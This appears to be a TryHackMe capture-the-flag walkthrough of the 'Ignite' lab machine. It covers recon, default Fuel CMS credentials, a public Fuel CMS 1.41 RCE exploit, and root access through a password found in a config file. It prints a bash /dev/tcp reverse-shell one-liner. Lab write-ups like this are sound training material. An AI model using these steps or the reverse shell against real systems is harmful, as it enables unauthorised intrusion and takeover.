[ Ignite ] - TRYHACKME (Detailed)

   

Let’s dive in!!  And root the machine.

Nmap Scan - tryhackme
------------------------------------------------------------------------------------------------------------------


nmap -sC -sV  -oN nmap/ignite <TARGET_IP>

-sC : Default scripts
-sV : Version detection
-oN : Output to be stored in the directory ‘nmap’ you created earlier

There is only one open port
80/tcp http Apache httpd 2.4.18 ((Ubuntu))

Gobuster
--------------------------------------------------------------------------------------------------------------------------
gobuster dir -u http://<TARGET_IP> -w <PATH_TO_WORDLIST> -o <OUTPUT_FILE_NAME> -x <EXTENSIONS>

-u : URL
-w : Wordlist
-o : Output to be stored in the directory
-x : Search for extensions e.g. html,txt,php,phtml etc.

Navigate to http://<target_ip>

scroll down we will find default credentials to login into the CMS 

Navigate to http://<TARGET_IP>/robots.txt

I checked them one by one they redirect to the same page which is fuel cms default page. But i found /fuel/ in the robots.txt 

Navigate to http://<Target_IP>/fuel/

Now we have login page and also we have default username and password  and we have Dashboard fuel CMS

We can try using unpopular extensions e.g. phtml, phtml5 etc. in order to bypass the uploads but it still won’t work. Nevermind we will find our way in somehow.

searchsploit will help to find the exploit of the fuel CMS.

searchsploit <EXPLOIT>
Additionally we can also use flags in searchsploit to examine and to download the exploit on the host machine.
searchsploit -m <PATH_OF_EXPLOIT> — download
searchsploit -x <PATH_OF_EXPLOIT> — examine

Seems like there is one interesting exploit that is Fuel CMS 1.41 remote code execution.

Let's modify the RCE using nano there is a url remove pre-written IP and set to target IP.

Saving the exploit, we can execute the exploit and let's see if the RCE works.

Great!! The exploit successfully worked and we got a cmd prompt where we can input or execute commands on the target system.

We need to gain reverse  shell on the target system and for that purpose. We can use bash reverse shell for gaining target shell.

/bin/bash -i >& /dev/tcp/<Your_TryHackMe_IP>/9003 0>&1

Netcat Listener on machine.

And Great !!!! We have reverse shell of the target machine but we need to stable the shell for working on bash or sh.

python -c ‘import pty;pty.spawn(“/bin/bash”)’

Ctrl+Z

stty raw -echo

fg

export TERM=xterm

export SHELL=bash

Let's hunt the flags.

Done. Submit the flag and now we have to escalate the privileges on the system to gain root access and get the root.txt flag.

Usually CMS contains configuration files with extremely important information and we can navigate to the config file stored in the /var/www/html/ and try to find anything which contains the passwords or anything important. If we cannot find anything in the config file then we can go for linpeas or linenum to find out the potential attack vector for highest privilege escalation.

Inspect the config file.

Great!! We have obtained the password for root therefore we can try logging in as root by using the ‘su root’ command.

Great!! We have successfully escalated the privileges and we can confirm we are root now.

Capture the root flag and submit.

And we are done with this box. 😉